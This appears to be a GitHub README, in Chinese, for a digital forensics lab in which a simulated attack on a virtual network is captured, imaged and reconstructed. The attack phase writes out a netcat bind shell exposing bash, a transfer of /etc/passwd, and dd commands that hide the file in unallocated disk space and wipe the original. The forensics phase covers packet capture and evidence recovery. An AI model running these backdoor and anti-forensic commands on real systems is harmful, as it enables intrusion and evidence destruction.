rafidCyber/digital_forensic_lab_project
GitHub: rafidCyber/digital_forensic_lab_project
Stars: 0 | Forks: 0
# 🔍 数字取证实验室项目
一个动手操作的数字取证实验室,演示使用模拟的多机网络环境进行**网络流量捕获**、**磁盘镜像**和**证据恢复**。
## 📋 目录
- [概述](#overview)
- [实验室环境](#lab-environment)
- [网络拓扑](#network-topology)
- [攻击与取证流程](#attack--forensics-flow)
- [先决条件](#prerequisites)
- [安装配置](#setup)
- [实验室演练](#lab-walkthrough)
- [1. 网络配置](#1-network-configuration)
- [2. 安装后门](#2-installing-a-backdoor-simulated-attack)
- [3. 网络流量捕获](#3-network-traffic-acquisition)
- [4. 在未分配磁盘空间中隐藏证据](#4-hiding-evidence-in-unallocated-disk-space)
- [5. 分析捕获的流量](#5-analyzing-captured-traffic)
- [6. 磁盘镜像](#6-disk-acquisition)
- [7. 证据恢复](#7-evidence-recovery)
- [使用的工具](#tools-used)
- [关键概念](#key-concepts)
- [免责声明](#disclaimer)
## 🧪 概述
本实验室模拟了一个真实的数字取证调查场景,包含三个阶段:
1. **攻击阶段** — 攻击者通过后门入侵目标机器,并在未分配磁盘空间中隐藏文件
2. **采集阶段** — 取证工作站通过 SPAN 端口被动捕获所有网络流量并获取磁盘镜像
3. **分析阶段** — 分析捕获的流量和磁盘镜像,重建攻击过程并恢复隐藏的证据
## 🖥️ 实验室环境
| 主机 | 角色 | 操作系统 | IP 地址 |
|------|------|----------|---------|
| `h1` | 被攻击机器 | Slackware Linux | `192.168.0.1` |
| `h2` | 攻击机器 | OpenBSD | `192.168.0.2` |
| `h3` | 取证工作站 | OpenBSD + 取证工具 | `192.168.0.3` *(采集阶段)* |
| `br1` | 网络桥接器 | OpenBSD | — |
## 🌐 网络拓扑
```
┌──────────────────────────────────────┐
│ br1 (Bridge) │
│ │
│ vio0 (h1) vio1 (h2) vio2 (SPAN) │
└────┬──────────────┬──────────┬────────┘
│ │ │
│ │ Mirrors ALL
│ │ traffic
│ │ │
┌───────┴──┐ ┌───────┴──┐ ┌───┴────────────┐
│ h1 │ │ h2 │ │ h3 │
│ (Victim) │ │(Attacker) │ │ (Forensics) │
│ │ │ │ │ │
│ Slackware │ │ OpenBSD │ │ OpenBSD │
│ Linux │ │ │ │ tcpdump/tshark │
│ │ │ │ │ tcpflow │
│192.168.0.1│ │192.168.0.2│ │ 192.168.0.3 │
└───────────┘ └───────────┘ └────────────────┘
▲ │ │
│ Backdoor │ │
└────────────────┘ Captures packets &
TCP port 9999 acquires disk image
```
## 🔄 攻击与取证流程
```
┌─────────────────────────────────────────────────────────────────────┐
│ LAB FLOW │
└─────────────────────────────────────────────────────────────────────┘
[SETUP]
│
├─► Configure bridge (br1) with SPAN port pointing to h3
├─► Assign IPs: h1 = 192.168.0.1 | h2 = 192.168.0.2
└─► Start passive capture on h3 (tcpdump → dump.lpc)
│
▼
[ATTACK PHASE — h2 compromises h1]
│
├─► h1: Install netcat backdoor on TCP port 9999
│ while true; do nc -lp 9999 -e /bin/bash; done &
│
├─► h2: Connect to backdoor
│ nc -v 192.168.0.1 9999
│
├─► h2 → h1: Transfer /etc/passwd via second channel (port 8888)
│ nc -w4 192.168.0.1 8888 < /etc/passwd
│
└─► h1: Hide file in unallocated disk space, then wipe & delete original
dd if=./passwd.txt of=/dev/vda seek=2 conv=notrunc
dd if=/dev/zero of=passwd.txt bs=1 count=3639
rm ./passwd.txt
│
▼
[ACQUISITION PHASE — h3 collects evidence]
│
├─► Stop tcpdump on h3 → dump.lpc saved
├─► Reconfigure br1: remove SPAN, add h3 as regular network port
├─► Assign IP to h3: 192.168.0.3
├─► Boot h1 from trusted CD (Slackware ISO) — unmounted disk
└─► Stream disk image: h1 ──dd──► gzip ──nc──► h3 (saved as vda.dd.gz)
md5sum /dev/vda5 ← hash recorded BEFORE transfer
│
▼
[ANALYSIS PHASE — reconstruct the attack]
│
├─► Network analysis: tshark | tcpflow | tcpdump
├─► Decompress image: gunzip vda.dd.gz
├─► Verify integrity: md5 vda.dd (must match source hash)
└─► Recover hidden file from unallocated space:
dd if=./vda.dd of=passwd.txt bs=1 skip=1024 count=3639
md5 passwd.txt ← must match original md5 from h2
```
## ⚙️ 先决条件
- `vinetctl` — 虚拟网络拓扑管理
- `tcpdump` — 数据包捕获
- `tshark` — 流量分析(Wireshark 命令行)
- `tcpflow` — TCP 流重组
- `netcat (nc)` — 网络工具
- `dd`, `gzip` — 磁盘镜像与压缩
- `md5` / `md5sum` — 完整性哈希
- `slack.iso` — 用于可信启动环境的 Slackware Linux 可启动 ISO
## 🚀 安装配置
```
# 加载项目拓扑结构
vinetctl -f 536_proj set
# 验证配置
vinetctl diag
vinetctl cat
# 启动所有虚拟机
vinetctl start
# 连接虚拟机
vinetctl conn
```
## 🔬 实验室演练
### 1. 网络配置
**在 h1(受害者)上:**
```
ifconfig eth0 192.168.0.1
```
**在 br1 — 配置带 SPAN 端口的桥接器:**
```
for i in 0 1 2; do ifconfig vio$i up; done
ifconfig veb0 create
ifconfig veb0 add vio0 add vio1 addspan vio2 up
# vio0 → h1 | vio1 → h2 | vio2 → h3(SPAN 端口 — 镜像所有流量)
```
**在 h2(攻击者)上:**
```
ifconfig vio0 192.168.0.2
```
### 2. 安装后门(模拟攻击)
在 **h1** 上植入一个持久化的 netcat 后门:
```
while true; do nc -lp 9999 -e /bin/bash; done &
```
| 标志 | 用途 |
|------|------|
| `-lp 9999` | 监听 TCP 端口 9999 |
| `-e /bin/bash` | 将 bash Shell 绑定到网络流 |
| `while true` | 每次断开后自动重启 |
验证其是否正在运行:
```
netstat -ant
# → 应显示处于 LISTEN 状态的 TCP 9999 端口
```
### 3. 网络流量捕获
在 **h3** 上 — 在攻击开始前启动被动捕获:
```
ifconfig vio0 up # Bring interface up (no IP needed)
df -h # Check available disk space
cd /home # Use directory with sufficient space (~1.8 GB)
tcpdump -s 2000 -w dump.lpc -i vio0 # Begin capture
```
| 标志 | 含义 |
|------|------|
| `-s 2000` | 抓取长度 — 每个数据包捕获的字节数 |
| `-w dump.lpc` | 将原始捕获写入文件 |
| `-i vio0` | 监听 SPAN 端口接口 |
### 4. 在未分配磁盘空间中隐藏证据
**步骤 1 — h2 连接到 h1 上的后门:**
```
nc -v 192.168.0.1 9999
```
**步骤 2 — 通过第二个通道(端口 8888)将 `/etc/passwd` 传输到 h1:**
在 h1 上(通过 Shell 会话):
```
nc -lp 8888 > passwd.txt # Open second listener; suspend with Ctrl+Z
```
在 h2 上:
```
nc -w 4 192.168.0.1 8888 < /etc/passwd # Send the file
md5 /etc/passwd # Note checksum for later verification
```
**步骤 3 — 确认传输,然后将文件隐藏在未分配磁盘空间中:**
在 h1 上(使用 `fg` 恢复会话):
```
ls # Confirm passwd.txt is present
md5sum passwd.txt # Verify checksum matches
fdisk -lu /dev/vda # Inspect disk layout / sector count
# 从扇区 2 开始向未分配空间写入文件
dd if=./passwd.txt of=/dev/vda seek=2 conv=notrunc
```
**步骤 4 — 擦除并删除原始文件以掩盖踪迹:**
```
dd if=/dev/zero of=passwd.txt bs=1 count=3639 # Zero out file contents
rm ./passwd.txt # Delete the file
ls -a # Confirm deletion
```
### 5. 分析捕获的流量
在 **h3** 上,停止捕获并进行分析:
```
# 使用 Ctrl+C 停止 tcpdump
ls -l dump.lpc
# 高层协议分析
tshark -nr ./dump.lpc -qz io,phs
# 查看 ARP 流量
tcpdump -nr ./dump.lpc arp
# TCP 会话摘要
tshark -nr ./dump.lpc -qz conv,tcp
# 将所有 TCP 流有效载荷提取到独立文件
tcpflow -r dump.lpc -o outdir
cd outdir/
file * # Identify file types
cat # Inspect contents
more # Page through longer output
```
### 6. 磁盘镜像
**将 h1 启动到可信环境(CD):**
```
# 在 br1 上 — 分离(Ctrl+B 然后 D)
sync
# 终止 h1
vinetctl -F kill h1
vinetctl stat
# 编辑 h1 配置:
# display: serial → curses
# cdrom: none → slack.iso
vinetctl edit h1
# 重启 h1 并从 CD 引导
vinetctl start h1; vinetctl conn h1
stty rows 22
clear
```
**重新配置 br1 — 移除 SPAN,将 h3 提升为普通端口:**
在 br1 上:
```
ifconfig veb0 delspan vio2 # Remove h3 from SPAN port
ifconfig veb0 add vio2 # Add h3 as a regular bridge port
```
在 h3 上:
```
ifconfig vio0 192.168.0.3
```
在 h1 上:
```
ifconfig eth0 192.168.0.1
ping -c1 192.168.0.3 # Verify connectivity to h3
```
**从 h1 获取磁盘镜像 — 通过流方式传输到 h3:**
在 h3 上(接收端):
```
nc -l 9999 > vda.dd.gz
```
在 h1 上(发送端):
```
dd if=/dev/vda5 bs=4096 conv=noerror,sync | gzip | nc -w4 192.168.0.3 9999
# 传输前记录哈希值 — 建立证据链
md5sum /dev/vda5
```
### 7. 证据恢复
在 **h3** 上,验证完整性并恢复隐藏的文件:
```
ls -l vda.dd.gz
gunzip vda.dd.gz
ls -lh vda.dd
# 验证哈希值与 h1 上记录的源哈希匹配
md5 ./vda.dd
# 从未分配空间恢复隐藏文件
# (扇区 2 = 字节偏移 1024,文件大小 = 3639 字节)
dd if=./vda.dd of=passwd.txt bs=1 skip=1024 count=3639
# 确认恢复文件与原始文件匹配
md5 passwd.txt
# → 必须与隐藏之前在 h2 上记录的 md5 匹配
```
## 🛠️ 使用的工具
| 工具 | 用途 |
|------|------|
| `tcpdump` | 被动数据包捕获 |
| `tshark` | 流量分析与协议解析 |
| `tcpflow` | TCP 流负载提取 |
| `netcat (nc)` | 后门、文件传输、磁盘镜像流式传输 |
| `dd` | 原始磁盘镜像与数据提取 |
| `gzip` | 传输过程中的压缩 |
| `md5` / `md5sum` | 加密完整性校验 |
| `fdisk` | 磁盘分区与扇区检查 |
| `ifconfig` | 网络接口配置 |
| `vinetctl` | 虚拟网络实验室管理 |
## 💡 关键概念
- **SPAN 端口** — 镜像交换机上所有流量至监控端口,实现被动捕获而不中断网络
- **证据链** — 传输前后记录的 MD5 哈希值证明获取的镜像是原始磁盘的完整、未经修改的副本
- **可信启动环境** — 从只读介质(CD/USB)启动确保被镜像磁盘未挂载且操作系统无法篡改证据
- **未分配空间** — 未分配给文件系统的磁盘扇区对操作系统不可见,但可使用 `dd` 等原始磁盘工具恢复
- **写保护** — 从未挂载的磁盘获取镜像可防止在成像过程中意外修改证据
## ⚠️ 免责声明
https://github.com/0x404-network/digital-forensics-lab/blob/main/README.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/lab-environment.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/network-topology.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/attack-and-forensics-flow.md
https://.com/0x404-network/digital-forensics-lab/blob/main/prerequisites.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/setup.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/lab-walkthrough.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/network-configuration.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/installing-a-backdoor.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/network-traffic-acquisition.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/hiding-evidence-in-unallocated-space.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/analyzing-captured-traffic.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/disk-acquisition.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/evidence-recovery.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/tools-used.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/key-concepts.md
https://github.com/0x404-network/digital-forensics-lab/blob/main/disclaimer.md
标签:netcat后门, OS取证, SPAN端口, 取证实验室, 取证工具, 多机环境, 攻击模拟, 数字取证, 数据隐藏, 未分配空间, 流量捕获, 生成式AI安全, 磁盘取证, 磁盘获取, 磁盘镜像, 网络安全, 网络拓扑, 网络流量捕获, 自动化脚本, 虚拟机, 证据完整性, 证据恢复, 调查流程, 隐私保护, 隐藏数据, 驱动签名利用